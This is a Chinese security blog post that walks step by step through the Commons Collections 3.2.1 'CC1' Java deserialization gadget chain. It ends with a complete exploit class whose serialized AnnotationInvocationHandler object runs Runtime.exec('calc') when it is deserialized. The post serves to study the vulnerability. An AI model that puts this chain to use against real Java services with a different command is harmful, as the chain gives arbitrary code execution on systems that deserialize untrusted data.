CC1反序列化链

该文章已生成可运行项目,

学习的白日梦组长https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.999.0.0

环境

1.jkd8u65
下载地址:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

2.与oracle jdk对应版本的sun包
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/src/share/classes/sun

3.Commons Collections 3.2.1(版本高了可能就没漏洞了)
使用maven自动导包,在pom.xml里设置
依赖:

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}    

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

这里就相当于使用反射来调用方法了,但是这里是使用的getClass(),所以要只能对一个对象使用

eg:

弹计算器

import org.apache.commons.collections.functors.InvokerTransformer;

import javax.xml.crypto.dsig.Transform;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class cc1 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);//要对一个实例化对象使用
    }
}

这个就相当于是链子的最后面了

然后找哪里调用了transform()

TransformedMap

TransformedMap.checkSetValue()中调用了transform()

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

实例化这个类

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);

这里的因为只对valueTransformer调用transform,所以keyTransformer的值可以设为空

然后再看哪里调用了checkSetValue()

AbstractInputCheckedMapDecorator

这个类是TransformedMap(上面的那个)的父类

在AbstractInputCheckedMapDecorator的MapEntry静态类中的setValue()调用了checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表。

这个MapEntry类继承了AbstractMapEntryDecorator,而AbstractMapEntryDecorator又实现了Map.Entry接口

所以这里的setValue其实是Map.Entry接口类的一个方法,这样在遍历entry类的时候就可以执行这里的setValue()方法

eg:

import javax.xml.crypto.dsig.Transform;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(runtime,"calc");
//        new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
        Map<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }
    }

}

这样就可以弹出计算器了

所以只要有遍历数组的地方,调用了setValue(),我们就可以调用这条链

在看看有没有谁的readObject()里调用了setValue()

AnnotationInvocationHandler

在这个类的readObject()方法里调用了setValue()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

可以看出,这里是对memberValues进行遍历

查看构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

这里我们可以控制memberValues参数,所以把上面构造的invokerTransformer替换上去就行

type参数的类型是继承了Annotation(注释)的类型

我们要实例化这个类,然后对这个类进行序列化和反序列化

要注意,这个类是default类,只能被这个包内的类和本类访问。

image-20221101234156467

所以只能使用反射来实例化这个类

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
   ...
}

我们先用反射实例化这个类

import javax.xml.crypto.dsig.Transform;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(runtime,"calc");
//        new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
        Map<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//        for (Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(runtime);
//        }
        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconst = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationconst.setAccessible(true);
        Object annotationInvocationHandler = annotationconst.newInstance(Override.class,transformedMap);
    }
}

如果直接序列化反序列化的话会发现无法弹计算器。我们还需要解决几个问题

Runtime无法序列化

首先是Runtime这个类是无法序列化的,所以要使用反射,因为Class类是可以序列化的

public final class Class<T> implements java.io.Serializable,
                              GenericDeclaration,
                              Type,
                              AnnotatedElement {
                                  ...
                              }

正常使用反射执行Runtime的exec()

Class c = Runtime.class;
Method getruntimemethod = c.getMethod("getRuntime",null);
Runtime runtime =(Runtime) getruntimemethod.invoke(null,null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(runtime,"calc");

因为我们要利用commons-collections里面的类来执行这个链,所以要使用InvokerTransformer来执行反射

Class c = Runtime.class;

Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这里是先使用Class类的getMethod方法获取Runtime类的getRuntime方法,然后再使用Class类的invoke方法获取实例

最后再获取Runtime的exec方法并执行

这里可能会有点绕,因为这里是先获取Class类中的getMethod再来对Runtime类进行getMethod

我就会想为什么不能直接对Runtime类进行getMethod。

这样做的原因是因为在InvokerTransformer.transform中的代码是这样的

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } ...
}

而这个getClass()要对一个实例化的对象使用,又因为我们在目标环境中无法直接获取Runtime的对象,所以要这样先获取他的getRuntime静态方法,再

调用执行这个方法来获取Runtime实例

然后再执行exec方法来执行命令

这样就可以获得一个可以序列化的对象

这里可以使用ChainedTransformer.transform()来递归执行,可以让链子更简单

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}    
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这里可以看到ChainedTransformer.transform()可以把Transformer[]数组里,前一个transform()的结果调到下一个transform()里用

这里跟上面写的逻辑刚好一样

image-20221102092811090

所以可以这样写

Transformer [] transforms = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);

注意这个Transformer要选对包

要通过if判断

AnnotationInvocationHandler.readObject()

如果要执行到setValue,要经过两个if

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        ...
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

首先看第一个if

if (memberType != null)

从上面开始看

annotationType = AnnotationType.getInstance(type);//看方法名字,就是获取type的实例,这个type就是构造函数里的type参数
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取这个实例的成员

这个type就是构造函数里的那注释的类

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

所以这里需要注释的类有成员,我们使用Target注释类,里面有个ElementType[] value()成员

package java.lang.annotation;
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}

然后我们要让memberValue.getKey()得到的值等于

Class<?> memberType = memberTypes.get(name)里的name

这样才能达成memberType != null

这里的memberValues就是TransformedMap.decorate(map,null,invokerTransformer);里的map

所以给map设键名为value

Map<Object, Object> map = new HashMap<>();
map.put("value", "xxxx");

再后面的if就是判断是否能够类型强转

if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy))

这里的value就是那个map里键值对的,一个是类,一个字符串,所以是肯定不能强转的

这样我们就能够通过重重if,最后调用到setValue方法

但是最后发现这里setValue我们是不可控制的

memberValue.setValue(
    new AnnotationTypeMismatchExceptionProxy(
        value.getClass() + "[" + value + "]").setMember(
            annotationType.members().get(name)))

如果要成功执行命令,从上面知道,setValue的参数应该是一个Runtime实例。

ConstantTransformer

我们知道,这里最后是调用chainedTransformer.transform(),且参数值就是上面的setValue里的值

Transformer [] transforms = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

这里可以使用ConstantTransformer.transform()来获取我们想要的类

因为他的transform是我们传进去什么,他就传回来什么

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}    

public Object transform(Object input) {
    return iConstant;
}

所以只要我们实例化这个类为

new ConstantTransformer(Runtime.class)

这样调用ConstantTransformer.transform时就会返回一个Runtime.class

这样我们就不用考虑chainedTransformer.transform()传入的参数是什么了

所以Transformer数组为

Transformer [] transforms = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

POP

sun.reflect.annotation.AnnotationInvocationHandler.readObject()->
AbstractInputCheckedMapDecorator.setValue()->
TransformedMap.checkSetValue()->
ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->
Runtime.exec()

exp:

import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import javax.xml.crypto.dsig.Transform;
import java.lang.annotation.Annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        
        Transformer [] transforms = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
        
        Map<Object, Object> map = new HashMap<>();
        map.put("value", "xxx");
        
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        
        Constructor annotationconst = annotation.getDeclaredConstructor(Class.class, Map.class);
        
        annotationconst.setAccessible(true);
        
        Object annotationInvocationHandler = annotationconst.newInstance(Target.class, transformedMap);
        
        serialize(annotationInvocationHandler);
        
        unserialize("1.bin");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
        Object obj = oip.readObject();
        return obj;
    }

}

然后就可以欢乐的弹计算器了。

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值